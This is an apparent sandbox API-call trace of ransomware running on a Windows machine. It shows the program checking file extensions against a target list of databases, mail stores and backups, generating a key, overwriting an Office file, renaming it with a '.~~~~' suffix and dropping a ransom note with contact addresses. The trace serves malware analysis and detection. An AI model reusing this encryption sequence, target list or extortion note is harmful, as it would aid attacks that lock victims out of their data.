	[0062.484] lstrlenW (lpString=".bat") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".bat") returned 0x0
	[0062.484] lstrlenW (lpString=".cpl") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".cpl") returned 0x0
	[0062.484] lstrlenW (lpString=".sys") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".sys") returned 0x0
	[0062.484] lstrlenW (lpString=".msc") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".msc") returned 0x0
	[0062.484] lstrlenW (lpString=".com") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".com") returned 0x0
	[0062.484] lstrlenW (lpString=".lnk") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".lnk") returned 0x0
	[0062.484] lstrlenW (lpString=".msp") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".msp") returned 0x0
	[0062.484] lstrlenW (lpString=".pif") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".pif") returned 0x0
	[0062.484] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0062.484] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0062.485] lstrlenW (lpString=".sqb") returned 4
	[0062.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".sqb") returned 0x0
	[0062.485] lstrlenW (lpString=".ost") returned 4
	[0062.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".ost") returned 0x0
	[0062.485] lstrlenW (lpString=".txt") returned 4
	[0062.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".txt") returned 0x0
	[0062.485] lstrlenW (lpString=".mdt") returned 4
	[0062.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".mdt") returned 0x0
	[0062.485] lstrlenW (lpString=".BDB") returned 4
	[0062.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".BDB") returned 0x0
	[0062.485] lstrlenW (lpString=".eql") returned 4
	[0062.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".eql") returned 0x0
	[0062.485] lstrlenW (lpString=".DBF") returned 4
	[0062.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".DBF") returned 0x0
	[0062.485] lstrlenW (lpString=".EQL") returned 4
	[0062.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".EQL") returned 0x0
	[0062.485] lstrlenW (lpString=".FDB") returned 4
	[0062.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".FDB") returned 0x0
	[0062.486] lstrlenW (lpString=".EDB") returned 4
	[0062.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".EDB") returned 0x0
	[0062.486] lstrlenW (lpString=".DACPAC") returned 7
	[0062.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0062.486] lstrlenW (lpString=".VHD") returned 4
	[0062.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".VHD") returned 0x0
	[0062.486] lstrlenW (lpString=".DBV") returned 4
	[0062.487] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".DBV") returned 0x0
	[0062.487] lstrlenW (lpString=".dacpac") returned 7
	[0062.487] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".dacpac") returned 0x0
	[0062.487] lstrlenW (lpString=".sdf") returned 4
	[0062.487] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".sdf") returned 0x0
	[0062.487] lstrlenW (lpString=".accdb") returned 6
	[0062.487] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".accdb") returned 0x0
	[0062.487] lstrlenW (lpString=".DBX") returned 4
	[0062.487] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".DBX") returned 0x0
	[0062.487] lstrlenW (lpString=".MDT") returned 4
	[0062.487] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".MDT") returned 0x0
	[0062.488] lstrlenW (lpString=".SQB") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".SQB") returned 0x0
	[0062.488] lstrlenW (lpString=".vhd") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".vhd") returned 0x0
	[0062.488] lstrlenW (lpString=".bac") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".bac") returned 0x0
	[0062.488] lstrlenW (lpString=".mdf") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".mdf") returned 0x0
	[0062.488] lstrlenW (lpString=".BAK") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".BAK") returned 0x0
	[0062.488] lstrlenW (lpString=".BAC") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".BAC") returned 0x0
	[0062.488] lstrlenW (lpString=".dbs") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".dbs") returned 0x0
	[0062.488] lstrlenW (lpString=".vhdx") returned 5
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".vhdx") returned 0x0
	[0062.488] lstrlenW (lpString=".NDF") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".NDF") returned 0x0
	[0062.488] lstrlenW (lpString=".dat") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".dat") returned 0x0
	[0062.488] lstrlenW (lpString=".DBS") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".DBS") returned 0x0
	[0062.488] lstrlenW (lpString=".CKP") returned 4
	[0062.488] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".CKP") returned 0x0
	[0062.488] lstrlenW (lpString=".edb") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".edb") returned 0x0
	[0062.489] lstrlenW (lpString=".PST") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".PST") returned 0x0
	[0062.489] lstrlenW (lpString=".dbf") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".dbf") returned 0x0
	[0062.489] lstrlenW (lpString=".SQL") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".SQL") returned 0x0
	[0062.489] lstrlenW (lpString=".pst") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".pst") returned 0x0
	[0062.489] lstrlenW (lpString=".dbv") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".dbv") returned 0x0
	[0062.489] lstrlenW (lpString=".SDF") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".SDF") returned 0x0
	[0062.489] lstrlenW (lpString=".dtxs") returned 5
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".dtxs") returned 0x0
	[0062.489] lstrlenW (lpString=".db3") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".db3") returned 0x0
	[0062.489] lstrlenW (lpString=".OST") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".OST") returned 0x0
	[0062.489] lstrlenW (lpString=".dbx") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".dbx") returned 0x0
	[0062.489] lstrlenW (lpString=".DB3") returned 4
	[0062.489] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".DB3") returned 0x0
	[0062.490] lstrlenW (lpString=".DAT") returned 4
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".DAT") returned 0x0
	[0062.490] lstrlenW (lpString=".VHDX") returned 5
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".VHDX") returned 0x0
	[0062.490] lstrlenW (lpString=".ndf") returned 4
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".ndf") returned 0x0
	[0062.490] lstrlenW (lpString=".DB") returned 3
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".DB") returned 0x0
	[0062.490] lstrlenW (lpString=".sql") returned 4
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".sql") returned 0x0
	[0062.490] lstrlenW (lpString=".MYD") returned 4
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".MYD") returned 0x0
	[0062.490] lstrlenW (lpString=".DBT") returned 4
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".DBT") returned 0x0
	[0062.490] lstrlenW (lpString=".ACCDB") returned 6
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0062.490] lstrlenW (lpString=".fdb") returned 4
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".fdb") returned 0x0
	[0062.490] lstrlenW (lpString=".bak") returned 4
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".bak") returned 0x0
	[0062.490] lstrlenW (lpString=".myd") returned 4
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".myd") returned 0x0
	[0062.490] lstrlenW (lpString=".DTXS") returned 5
	[0062.490] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".DTXS") returned 0x0
	[0062.491] lstrlenW (lpString=".ckp") returned 4
	[0062.491] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".ckp") returned 0x0
	[0062.491] lstrlenW (lpString=".dbt") returned 4
	[0062.491] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".dbt") returned 0x0
	[0062.491] lstrlenW (lpString=".db") returned 3
	[0062.491] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".db") returned 0x0
	[0062.491] lstrlenW (lpString=".TXT") returned 4
	[0062.491] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".TXT") returned 0x0
	[0062.491] lstrlenW (lpString=".MDF") returned 4
	[0062.491] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".MDF") returned 0x0
	[0062.491] lstrlenW (lpString=".bdb") returned 4
	[0062.491] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".bdb") returned 0x0
	[0062.491] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0062.491] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0062.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e900
	[0062.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0062.491] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39d948) returned 1
	[0062.492] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0062.493] CryptReleaseContext (hProv=0x39d948, dwFlags=0x0) returned 1
	[0062.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0062.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0062.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e5260
	[0062.493] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18248287858) returned 1
	[0062.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9272d030, dwHighDateTime=0x1d60e1e)) 
	[0062.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0062.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0062.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0062.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0062.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0062.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0062.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39ea38
	[0062.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0062.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39eae0
	[0062.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ea38 | out: hHeap=0x300000) returned 1
	[0062.493] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0062.494] GetLastError () returned 0x0
	[0062.494] SetLastError (dwErrCode=0x0) 
	[0062.494] GetLastError () returned 0x0
	[0062.494] SetLastError (dwErrCode=0x0) 
	[0062.494] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0062.494] GetLastError () returned 0x0
	[0062.494] SetLastError (dwErrCode=0x0) 
	[0062.494] GetLastError () returned 0x0
	[0062.494] SetLastError (dwErrCode=0x0) 
	[0062.494] GetLastError () returned 0x0
	[0062.494] SetLastError (dwErrCode=0x0) 
	[0062.494] GetLastError () returned 0x0
	[0062.494] SetLastError (dwErrCode=0x0) 
	[0062.494] GetLastError () returned 0x0
	[0062.494] SetLastError (dwErrCode=0x0) 
	[0062.494] GetLastError () returned 0x0
	[0062.494] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.495] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.495] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.495] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.495] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.495] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.495] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.495] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.495] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.495] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.495] SetLastError (dwErrCode=0x0) 
	[0062.495] GetLastError () returned 0x0
	[0062.496] SetLastError (dwErrCode=0x0) 
	[0062.496] GetLastError () returned 0x0
	[0062.496] SetLastError (dwErrCode=0x0) 
	[0062.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39eae0 | out: hHeap=0x300000) returned 1
	[0062.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x27e0048
	[0062.497] ReadFile (in: hFile=0x120, lpBuffer=0x27e0048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesRead=0x26dfec0*=0x61d, lpOverlapped=0x0) returned 1
	[0062.500] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff9e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0062.500] WriteFile (in: hFile=0x120, lpBuffer=0x27e0048*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x61d, lpOverlapped=0x0) returned 1
	[0062.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0062.501] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0062.501] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0062.501] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0062.501] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0062.501] CloseHandle (hObject=0x120) returned 1
	[0062.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39ea38
	[0062.508] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.~~~~")) returned 1
	[0062.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ea38 | out: hHeap=0x300000) returned 1
	[0062.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0062.717] GetLastError () returned 0x0
	[0062.717] SetLastError (dwErrCode=0x0) 
	[0062.717] GetLastError () returned 0x0
	[0062.717] SetLastError (dwErrCode=0x0) 
	[0062.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0062.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0062.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0062.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5260 | out: hHeap=0x300000) returned 1
	[0062.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e900 | out: hHeap=0x300000) returned 1
	[0062.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e7b0 | out: hHeap=0x300000) returned 1
	[0062.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e858 | out: hHeap=0x300000) returned 1
	[0062.717] RtlWakeConditionVariable () returned 0x365f70
	[0062.717] GetCurrentThreadId () returned 0x9cc
	[0062.717] GetCurrentThreadId () returned 0x9cc
	[0062.717] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.718] GetCurrentThreadId () returned 0x9cc
	[0062.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0062.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0062.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0062.718] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.719] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
